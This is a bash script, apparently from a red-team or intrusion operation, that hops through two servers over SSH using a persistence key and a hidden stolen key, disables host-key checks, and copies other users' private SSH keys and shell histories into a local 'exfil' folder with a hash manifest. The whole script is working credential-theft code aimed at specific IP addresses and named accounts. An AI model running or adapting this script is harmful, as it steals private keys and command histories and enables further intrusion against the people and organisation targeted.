#!/bin/bash
# Home dirs exfil from host B
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_home
mkdir -p "$OUTDIR"

echo "=== HOME B EXFIL ==="

# deployer SSH key
echo "--- deployer ---"
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'cat /home/deployer/.ssh/id_rsa 2>/dev/null'" > "$OUTDIR/deployer_id_rsa" 2>/dev/null
[ -s "$OUTDIR/deployer_id_rsa" ] && echo "[OK] deployer id_rsa" || rm -f "$OUTDIR/deployer_id_rsa"

# npontucontrl SSH key (already have but backup)
echo "--- npontucontrl ---"
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'cat /home/npontucontrl/.ssh/id_rsa 2>/dev/null'" > "$OUTDIR/npontucontrl_id_rsa" 2>/dev/null
[ -s "$OUTDIR/npontucontrl_id_rsa" ] && echo "[OK] npontucontrl id_rsa" || rm -f "$OUTDIR/npontucontrl_id_rsa"

# john .bash_history (agi-trust-seal .env reference)
echo "--- john history ---"
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'cat /home/john/.bash_history 2>/dev/null'" > "$OUTDIR/john_bash_history.txt" 2>/dev/null
[ -s "$OUTDIR/john_bash_history.txt" ] && echo "[OK] john history" || rm -f "$OUTDIR/john_bash_history.txt"

# all readable .bash_history
for u in daniel david deployer jones prince; do
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    'cat /home/$u/.bash_history 2>/dev/null'" > "$OUTDIR/${u}_bash_history.txt" 2>/dev/null
  [ -s "$OUTDIR/${u}_bash_history.txt" ] && echo "[OK] $u history" || rm -f "$OUTDIR/${u}_bash_history.txt"
done

echo "=== DONE ==="
ls -la "$OUTDIR"
sha256sum "$OUTDIR"/* > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"